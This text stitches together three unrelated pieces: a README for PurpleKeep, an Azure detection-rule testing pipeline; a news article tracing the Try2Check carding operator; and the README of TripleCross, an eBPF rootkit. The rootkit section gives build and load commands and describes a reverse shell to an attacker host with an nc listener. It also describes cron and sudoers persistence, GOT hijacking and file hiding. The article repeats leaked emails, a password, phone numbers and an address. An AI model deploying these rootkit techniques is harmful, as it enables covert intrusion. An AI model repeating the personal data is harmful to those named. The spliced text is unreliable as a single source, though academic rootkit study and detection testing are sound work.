With the rapidly increasing variety of attack techniques and a simultaneous rise in the number of detection rules offered by EDRs (Endpoint Detection and Response) and custom-created ones, the need for constant functional testing of detection rules has become evident. However, manually re-running these attacks and cross-referencing them with detection rules is a labor-intensive task which is worth automating.
To address this challenge, I developed "PurpleKeep," an open-source initiative designed to facilitate the automated testing of detection rules. Leveraging the capabilities of the Atomic Red Team project which allows to simulate attacks following MITRE TTPs (Tactics, Techniques, and Procedures). PurpleKeep enhances the simulation of these TTPs to serve as a starting point for the evaluation of the effectiveness of detection rules.
Automating the process of simulating one or multiple TTPs in a test environment comes with certain challenges, one of which is the contamination of the platform after multiple simulations. However, PurpleKeep aims to overcome this hurdle by streamlining the simulation process and facilitating the creation and instrumentation of the targeted platform.
Primarily developed as a proof of concept, PurpleKeep serves as an End-to-End Detection Rule Validation platform tailored for an Azure-based environment. It has been tested in combination with the automatic deployment of Microsoft Defender for Endpoint as the preferred EDR solution. PurpleKeep also provides support for security and audit policy configurations, allowing users to mimic the desired endpoint environment.
To facilitate analysis and monitoring, PurpleKeep integrates with Azure Monitor and Log Analytics services to store the simulation logs and allow further correlation with any events and/or alerts stored in the same platform.
TLDR: PurpleKeep provides an Attack Simulation platform to serve as a starting point for your End-to-End Detection Rule Validation in an Azure-based environment.
The project is based on Azure Pipelines and requires the following to be able to run:
You can provide a security and/or audit policy file that will be loaded to mimic your Group Policy configurations. Use the Secure File option of the Library in Azure DevOps to make it accessible to your pipelines.
Refer to the variables file for your configurable items.
Deploying the infrastructure uses the Azure Pipeline to perform the following steps:
Currently only the Atomics from the public repository are supported. The pipelines takes a Technique ID as input or a comma seperate list of techniques, for example:
The logs of the simulation are ingested into the AtomicLogs_CL table of the Log Analytics Workspace.
There are currently two ways to run the simulation:
This pipeline will deploy a fresh platform after the simulation of each TTP. The Log Analytic workspace will maintain the logs of each run.
Warning: this will onboard a large number of hosts into your EDR
A fresh infrastructure will be deployed only at the beginning of the pipeline. All TTP's will be simulated on this instance. This is the fastests way to simulate and prevents onboarding a large number of devices, however running a lot of simulations in a same environment has the risk of contaminating the environment and making the simulations less stable and predictable.
The U.S. government this week put a $10 million bounty on a Russian man who for the past 18 years operated Try2Check, one of the cybercrime underground’s most trusted services for checking the validity of stolen credit card data. U.S. authorities say 43-year-old Denis Kulkov‘s card-checking service made him at least $18 million, which he used to buy a Ferrari, Land Rover, and other luxury items.
Denis Kulkov, a.k.a. “Nordex,” in his Ferrari. Image: USDOJ.
Launched in 2005, Try2Check soon was processing more than a million card-checking transactions per month — charging 20 cents per transaction. Cybercriminals turned to services like this after purchasing stolen credit card data from an underground shop, with an eye toward minimizing the number of cards that are inactive by the time they are put to criminal use.
Try2Check was so reliable that it eventually became the official card-checking service for some of the underground’s most bustling crime bazaars, including Vault Market, Unicc, and Joker’s Stash. Customers of these carding shops who chose to use the shop’s built-in (but a-la-carte) card checking service from Try2Check could expect automatic refunds on any cards that were found to be inactive or canceled at the time of purchase.
Many established stolen card shops will allow customers to request refunds on dead cards based on official reports from trusted third-party checking services. But in general, the bigger shops have steered customers toward using their own white-labeled version of the Try2Check service — primarily to help minimize disputes over canceled cards.
On Wednesday, May 3, Try2Check’s websites were replaced with a domain seizure notice from the U.S. Secret Service and U.S. Department of Justice, as prosecutors in the Eastern District of New York unsealed an indictment and search warrant naming Denis Gennadievich Kulkov of Samara, Russia as the proprietor.
Try2Check’s login pages have been replaced with a seizure notice from U.S. law enforcement.
At the same time, the U.S. Department of State issued a $10 million reward for information leading to the arrest or conviction of Kulkov. In November 2021, the State Department began offering up to to $10 million for the name or location of any key leaders of REvil, a major Russian ransomware gang.
As noted in the Secret Service’s criminal complaint (PDF), the Try2Check service was first advertised on the closely-guarded Russian cybercrime forum Mazafaka, by someone using the handle “KreenJo.” That handle used the same ICQ instant messenger account number (555724) as a Mazafaka denizen named “Nordex.”
In February 2005, Nordex posted to Mazafaka that he was in the market for hacked bank accounts, and offered 50 percent of the take. He asked interested partners to contact him at the ICQ number 228427661 or at the email address polkas@bk.ru. As the government noted in its search warrant, Nordex exchanged messages with forum users at the time identifying himself as a then-24-year-old “Denis” from Samara, RU.
In 2017, U.S. law enforcement seized the cryptocurrency exchange BTC-e, and the Secret Service said those records show that a Denis Kulkov from Samara supplied the username “Nordexin,” email address nordexin@ya.ru, and an address in Samara.
Investigators had already found Instagram accounts where Kulkov posted pictures of his Ferrari and his family. Authorities were able to identify that Kulkov had an iCloud account tied to the address nordexin@icloud.com, and upon subpoenaing that found passport photos of Kulkov, and well as more photos of his family and pricey cars.
Like many other top cybercriminals based in Russia or in countries with favorable relations to the Kremlin, the proprietor of Try2Check was not particularly difficult to link to a real-life identity. In Kulkov’s case, it no doubt was critical to U.S. investigators that they had access to a wealth of personal information tied to a cryptocurrency exchange Kulkov had used.
However, the link between Kulkov and Try2Check can be made — ironically — based on records that have been plundered by hackers and published online over the years — including Russian email services, Russian government records, and hacked cybercrime forums.
Kulkov posing with his passport, in a photo authorities obtained by subpoenaing his iCloud account.
According to cybersecurity firm Constella Intelligence, the address polkas@bk.ru was used to register an account with the username “Nordex” at bankir[.]com, a now defunct news website that was almost standard reading for Russian speakers interested in news about various Russian financial markets.
Nordex appears to have been a finance nerd. In his early days on the forums, Nordex posted several long threads on his views about the Russian stock market and mutual fund investments.
That Bankir account was registered from the Internet address 193.27.237.66 in Samara, Russia, and included Nordex’s date of birth as April 8, 1980, as well as their ICQ number (228427661).
Cyber intelligence firm Intel 471 found that Internet address also was used to register the account “Nordex” on the Russian hacking forum Exploit back in 2006.
Constella tracked another Bankir[.]com account created from that same Internet address under the username “Polkas.” This account had the same date of birth as Nordex, but a different email address: nordia@yandex.ru. This and other “nordia@” emails shared a password: “anna59.”
Nordia@yandex.ru shares several passwords with nordia@list.ru, which Constella says was used to create an account at a religious website for an Anna Kulikova from Samara. At the Russian home furnishing store Westwing.ru, Ms. Kulikova listed her full name as Anna Vnrhoturkina Kulikova, and her address as 29 Kommunistrecheskya St., Apt. 110.
A search on that address in Constella brings up a record for an Anna Denis Vnrhoturkina Kulkov, and the phone number 879608229389.
Russian vehicle registration records have also been hacked and leaked online over the years. Those records show that Anna’s Apt 110 address is tied to a Denis Gennadyvich Kulkov, born April 8, 1980.
The vehicle Kolkov registered in 2015 at that address was a 2010 Ferrari Italia, with the license plate number K022YB190. The phone number associated with this record — 79608229389 — is exactly like Anna’s, only minus the (mis?)leading “8”. That number also is tied to a now-defunct Facebook account, and to the email addresses nordexin@ya.ru and nordexin@icloud.com.
Kulkov’s Ferrari has been photographed numerous times over the years by Russian car aficionados, including this one with the driver’s face redacted by the photographer:
The Ferrari owned by Denis Kulkov, spotted in Moscow in 2016. Image: Migalki.net.
As the title of this story suggests, the hard part for Western law enforcement isn’t identifying the Russian cybercriminals who are major players in the scene. Rather, it’s finding creative ways to capture high-value suspects if and when they do leave the protection that Russia generally extends to domestic cybercriminals within its borders who do not also harm Russian companies or consumers, or interfere with state interests.
But Russia’s war against Ukraine has caused major fault lines to appear in the cybercrime underground: Cybercriminal syndicates that previously straddled Russia and Ukraine with ease were forced to reevaluate many comrades who were suddenly working for The Other Side.
Many cybercriminals who operated with impunity from Russia and Ukraine prior to the war chose to flee those countries following the invasion, presenting international law enforcement agencies with rare opportunities to catch most-wanted cybercrooks. One of those was Mark Sokolovsky, a 26-year-old Ukrainian man who operated the popular “Raccoon” malware-as-a-service offering; Sokolovsky was apprehended in March 2022 after fleeing Ukraine’s mandatory military service orders.
Also nabbed on the lam last year was Vyacheslav “Tank” Penchukov, a senior Ukrainian member of a transnational cybercrime group that stole tens of millions of dollars over nearly a decade from countless hacked businesses. Penchukov was arrested after leaving Ukraine to meet up with his wife in Switzerland.
TripleCross is a Linux eBPF rootkit that demonstrates the offensive capabilities of the eBPF technology.
TripleCross is inspired by previous implant designs in this area, notably the works of Jeff Dileo at DEFCON 271, Pat Hogan at DEFCON 292, Guillaume Fournier and Sylvain Afchain also at DEFCON 293, and Kris Nóva's Boopkit4. We reuse and extend some of the techniques pioneered by these previous explorations of the offensive capabilities of eBPF technology.
This rootkit was created for my Bachelor's Thesis at UC3M. More details about its design are provided in the thesis document.
This rookit is purely for educational and academic purposes. The software is provided "as is" and the authors are not responsible for any damage or mishaps that may occur during its use.
Do not attempt to use TripleCross to violate the law. Misuse of the provided software and information may result in criminal charges.
The following figure shows the architecture of TripleCross and its modules.
The raw sockets library RawTCP_Lib used for rootkit transmissions is of my authorship and has its own repository.
The following table describes the main source code files and directories to ease its navigation:
DIRECTORY | COMMAND |
---|---|
docs | Original thesis document |
src/client | Source code of the rootkit client |
src/client/lib | RawTCP_Lib shared library |
src/common | Constants and configuration for the rootkit. It also includes the implementation of elements common to the eBPF and user space side of the rootkit, such as the ring buffer |
src/ebpf | Source code of the eBPF programs used by the rootkit |
src/helpers | Includes programs for testing the functionality of several rootkit modules, and also the malicious program and library used at the execution hijacking and library injection modules, respectively |
src/libbpf | Contains the libbpf library integrated with the rootkit |
src/user | Source code of the userland programs used by the rootkits |
src/vmlinux | Headers containing the definition of kernel data structures (this is the recommended method when using libbpf) |
This research project has been tested under the following environments:
DISTRIBUTION | KERNEL | GCC | CLANG | GLIBC | |
---|---|---|---|---|---|
VERSION | Ubuntu 21.04 | 5.11.0 | 10.3.0 | 12.0.0 | 2.33 |
We recommend using Ubuntu 21.04, which by default will incorporate the software versions shown here. Otherwise, some of the problems you may run into are described here.
The rootkit source code is compiled using two Makefiles.
# Build rootkit
cd src
make all
# Build rootkit client
cd client
make
The following table describes the purpose of each Makefile in detail:
MAKEFILE | COMMAND | DESCRIPTION | RESULTING FILES |
---|---|---|---|
src/client/Makefile | make | Compilation of the rootkit client | src/client/injector |
src/Makefile | make help | Compilation of programs for testing rootkit capabilities, and the malicious program and library of the execution hijacking and library injection modules, respectively | src/helpers/simple_timer, src/helpers/simple_open, src/helpers/simple_execve, src/helpers/lib_injection.so, src/helpers/execve_hijack |
src/Makefile | make kit | Compilation of the rootkit using the libbpf library | src/bin/kit |
src/Makefile | make tckit | Compilation of the rootkit TC egress program | src/bin/tc.o |
Once the rootkit files are generated under src/bin/, the tc.o and kit programs must be loaded in order. In the following example, the rootkit backdoor will operate in the network interface enp0s3:
// TC egress program
sudo tc qdisc add dev enp0s3 clsact
sudo tc filter add dev enp0s3 egress bpf direct-action obj bin/tc.o sec classifier/egress
// Libbpf-powered rootkit
sudo ./bin/kit -t enp0s3
There are two scripts, packager.sh and deployer.sh, that compile and install the rootkit automatically, just as an attacker would do in a real attack scenario.
Executing packager.sh will generate all rootkit files under the apps/ directory.
Executing deployer.sh will install the rootkit and create the persistence files.
These scripts must first be configured with the following parameters for the proper functioning of the persistence module:
SCRIPT | CONSTANT | DESCRIPTION |
---|---|---|
src/helpers/deployer.sh | CRON_PERSIST | Cron job to execute after reboot |
src/helpers/deployer.sh | SUDO_PERSIST | Sudo entry to grant password-less privileges |
The rootkit can hijack the execution of processes that call the sys_timerfd_settime or sys_openat system calls. This is achieved by overwriting the Global Offset Table (GOT) section at the virtual memory of the process making the call. This leads to a malicious library (src/helpers/injection_lib.c) being executed. The library will spawn a reverse shell to the attacker machine, and then returns the flow of execution to the original function without crashing the process.
TripleCross is prepared to bypass common ELF hardening techniques, including:
It is also prepared to work with Intel CET-compatible code.
The module functionality can be checked using two test programs src/helpers/simple_timer.c and src/helpers/simple_open.c. Alternatively you may attempt to hijack any system process (tested and working with systemd).
The module configuration is set via the following constants:
FILENAME | CONSTANT | DESCRIPTION |
---|---|---|
src/common/constants.h | TASK_COMM_NAME_INJECTION_ TARGET_TIMERFD_SETTIME | Name of the process to hijack at syscall sys_timerfd_settime |
src/common/constants.h | TASK_COMM_NAME_INJECTION_ TARGET_OPEN | Name of the process to hijack at syscall sys_openat |
src/helpers/injection_lib.c | ATTACKER_IP & ATTACKER_PORT | IP address and port of the attacker machine |
Receiving a reverse shell from the attacker machine can be done with netcat:
nc -nlvp <ATTACKER_PORT>
The technique incorporated in TripleCross consists of 5 stages:
The rootkit hooks the system call using a tracepoint program. From there, it locates the address at the GOT section which the PLT stub used to make the call to the glibc function responsible of the syscall.
In order to reach the GOT section, the eBPF program uses the return address stored at the stack. Note that:
Therefore in order to check from eBPF that an address in the stack is the return address that will lead us to the correct GOT, we must check that it is the return address of the PLT stub that uses the GOT address that jumps to the glibc function making the system call we hooked from eBPF.
Two techniques for finding the return address have been incorporated:
The shellcode must be generated dynamically to bypass ASLR and PIE, which change the address of functions such as dlopen() on each program execution.
A code cave can be found by reverse engineering an ELF if ASLR and PIE are off, but usually that is not the case. The eBPF program issues a request to an user space rootkit program that uses the /proc filesystem to locate and write into a code cave at the .text (executable) section.
Depending on whether Partial or Full RELRO are active on the executable, the eBPF program overwrites the GOT section directly or with the /proc filesystem.
When the next syscall is issued in the hijacked program, the PLT section uses the modified GOT section, hijacking the flow of execution which gets redirected to the shellcode at the code cave. The shellcode is prepared to keep the program from crashing, and calls the malicious library (src/helpers/lib_injection.so). This library issues a fork() and spawns a reverse shell with the attacker machine. Afterwards the flow of execution is restored.
The backdoor works out of the box without any configuration needed. The backdoor can be controlled remotely using the rootkit client program:
CLIENT ARGUMENTS | ACTION DESCRIPTION |
---|---|
./injector -c <Victim IP> | Spawns a plaintext pseudo-shell by using the execution hijacking module |
./injector -e <Victim IP> | Spawns an encrypted pseudo-shell by commanding the backdoor with a pattern-based trigger |
./injector -s <Victim IP> | Spawns an encrypted pseudo-shell by commanding the backdoor with a multi-packet trigger (of both types) |
./injector -p <Victim IP> | Spawns a phantom shell by commanding the backdoor with a pattern-based trigger |
./injector -a <Victim IP> | Orders the rootkit to activate all eBPF programs |
./injector -u <Victim IP> | Orders the rootkit to detach all of its eBPF programs |
./injector -S <Victim IP> | Showcases how the backdoor can hide a message from the kernel (Simple PoC) |
./injector -h | Displays help |
Actions are sent to the backdoor using backdoor triggers, which indicate the backdoor the action to execute depending on the value of the attribute K3:
K3 VALUE | ACTION |
---|---|
0x1F29 | Request to start an encrypted pseudo-shell connection |
0x4E14 | Request to start a phantom shell connection |
0x1D25 | Request to load and attach all rootkit eBPF programs |
0x1D24 | Request to detach all rootkit eBPF programs (except the backdoor’s) |
This trigger hides the command and client information so that it can be recognized by the backdoor, but at the same time seems random enough for an external network supervisor. It is based on the trigger used by the recently discovered NSA rootkit Bvp47.
This trigger consists of multiple TCP packets on which the backdoor payload is hidden in the packet headers. This design is based on the CIA Hive implant described in the Vault 7 leak. The following payload is used:
A rolling XOR is then computed over the above payload and it is divided into multiple parts, depending on the mode selected by the rootkit client. TripleCross supports payloads hidden on the TCP sequence number:
And on the TCP source port:
The client can establish rootkit pseudo-shells, a special rootkit-to-rootkit client connection which simulates a shell program, enabling the attacker to execute Linux commands remotely and get the results as if it was executing them directly in the infected machine. Multiple pseudo-shells are incorporated in our rootkit:
This shell is generated after a successful run of the execution hijacking module, which will execute a malicious file that establishes a connection with the rootkit client as follows:
An encrypted pseudo-shell can be requested by the rootkit client at any time, consisting of a TLS connection between the rootkit and the rootkit client. Inside the encrypted connection, a transmission protocol is followed to communicate commands and information, similar to that in plaintext pseudo-shells.
Spawning an encrypted pseudo-shell requires the backdoor to listen for triggers, which accepts either pattern-based triggers or both types of multi-packet trigger:
A phantom shell uses a combination of XDP and TC programs to overcome eBPF limitations at the network, specifically that it cannot generate new packets. For this, the backdoor modifies existing traffic, overwriting the payload with the data of the C2 transmission. The original packets are not lost since TCP retransmissions send the original packet (without modifications) again after a short time.
The following protocol illustrates the traffic during the execution of a command using a phantom shell:
A phantom shell is requested by the rootkit client which issues a command to be executed by the backdoor:
After the infected machine sends any TCP packet, the backdoor overwrites it and the client shows the response:
In principle, an eBPF program cannot start the execution of a program by itself. This module shows how a malicious rootkit may take advantage of benign programs in order to execute malicious code at the user space. This module achieves two goals:
This module works by hijacking the sys_execve() syscall, modifying its arguments so that a malicious program (src/helpers/execve_hijack.c) is run instead. This modification is made in such a way that the malicious program can then execute the original program with the original arguments to avoid raising concerns in the user space. The following diagram summarizes the overall functionality:
The arguments of the original sys_execve() call are modified in such a way that the original arguments are not lost (using argv[0]) so that the original program can be executed after the malicious one:
We have incorporated a sample test program (src/helpers/simple_execve.c) for testing the execution hijacking module. The module can also hijack any call in the system, depending on the configuration:
FILENAME | CONSTANT | DESCRIPTION |
---|---|---|
src/common/constants.h | PATH_EXECUTION_HIJACK_PROGRAM | Location of the malicious program to be executed upon succeeding to execute a sys_execve call |
src/common/constants.h | EXEC_HIJACK_ACTIVE | Deactivate (0) or activate (1) the execution hijacking module |
src/common/constants.h | TASK_COMM_RESTRICT_HIJACK_ACTIVE | Hijack any sys_execve call (0) or only those indicated in TASK_COMM_NAME_RESTRICT_HIJACK (1) |
src/common/constants.h | TASK_COMM_NAME_RESTRICT_HIJACK | Name of the program from which to hijack sys_execve calls |
After a successful hijack, the module will stop itself. The malicious program execve_hijack will listen for requests of a plaintext pseudo-shell from the rootkit client.
After the infected machine is rebooted, all eBPF programs will be unloaded from the kernel and the userland rootkit program will be killed. Moreover, even if the rootkit could be run again automatically, it would no longer enjoy the root privileges needed for attaching the eBPF programs again. The rootkit persistence module aims to tackle these two challenges:
TripleCross uses two secret files, created under cron.d and sudoers.d, to implement this functionality. These entries ensure that the rootkit is loaded automatically and with full privilege after a reboot. These files are created and managed by the deployer.sh script:
The script contains two constants that must be configured for the user to infect on the target system:
SCRIPT | CONSTANT | DESCRIPTION |
---|---|---|
src/helpers/deployer.sh | CRON_PERSIST | Cron job to execute after reboot |
src/helpers/deployer.sh | SUDO_PERSIST | Sudo entry to grant password-less privileges |
The persistence module is based on creating additional files, but they may get eventually found by the system owner or by some software tool, so there exists a risk on leaving them in the system. Additionally, the rootkit files will need to be stored at some location, in which they may get discovered.
Taking the above into account, the stealth module provides the following functionality:
The files and directories hidden by the rootkit can be customized by the following configuration constants:
FILENAME | CONSTANT | DESCRIPTION |
---|---|---|
src/common/constants.h | SECRET_DIRECTORY_NAME_HIDE | Name of directory to hide |
src/common/constants.h | SECRET_FILE_PERSISTENCE_NAME | Name of the file to hide |
By default, TripleCross will hide any files called "ebpfbackdoor" and a directory named "SECRETDIR". This module is activated automatically after the rootkit installation.
The technique used for achieving this functionality consists of tampering with the arguments of the sys_getdents() system call:
The TripleCross rootkit and the rootkit client are licensed under the GPLv3 license. See LICENSE.
The RawTCP_Lib library is licensed under the MIT license.
The original thesis document and included figures are released under Creative Commons BY-NC-ND 4.0.
J. Dileo. Evil eBPF: Practical Abuses of an In-Kernel Bytecode Runtime. DEFCON 27. slides
P. Hogan. Warping Reality: Creating and Countering the Next Generation of Linux Rootkits using eBPF. DEFCON 27. presentation
G. Fournier and S. Afchain. eBPF, I thought we were friends! DEFCON 29. slides
Kris Nóva. Boopkit. github